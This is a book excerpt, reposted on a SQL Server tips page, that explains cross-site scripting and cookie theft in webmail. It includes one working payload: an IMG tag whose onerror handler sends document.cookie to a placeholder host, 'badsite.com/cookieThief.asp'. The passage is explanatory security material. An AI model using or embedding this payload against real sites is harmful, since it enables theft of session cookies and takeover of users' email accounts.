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SQL Server Tips by Burleson |
Cross-site scripting (XSS)
Cross-site scripting consists of inserting script code (usually
Javascript or VBScript) or calling malicious Java applets, ActiveX
or Flash. This will occur in a hyperlink, a frame or iframe, a
variable on a CGI, the input of a web application or any other
technique that allows code from one site to be executed in another
site. Sometimes this is called script injection, or “phishing” when
the technique is aimed at stealing financial data by means of
spoofed emails and fake websites or real websites with some script
running in the background to steal passwords, spoofed web browser
address bar, etc…
On certain webmail systems that allow HTML and run scripts without,
it is possible to do a “cookie theft”. This happens because the
script is running in the webmail site and it can read the
authentication cookie from that site. With this cookie, an attacker
can gain access to the email account. There are exploits that run
silently and without the need of a user to click on a hyperlink, all
that it takes is to open an email. This is an example:
<IMG width="0" height="0" onerror="window.open('http://www.badsite.com/
/cookieThief.asp?'+document.cookie);" src="::">
The onerror event handler will fire because the source for the image
is invalid. This will open a window that will run an ASP page made
with the sole purpose of taking the authentication cookie from that
site and storing it. It might even have code to open a window and
use that cookie to access the webmail account and change its
password.
The above book excerpt is from:
Super SQL
Server Systems
Turbocharge Database Performance with C++ External Procedures
ISBN:
0-9761573-2-2
Joseph Gama, P. J. Naughter
http://www.rampant-books.com/book_2005_2_sql_server_external_procedures.htm |
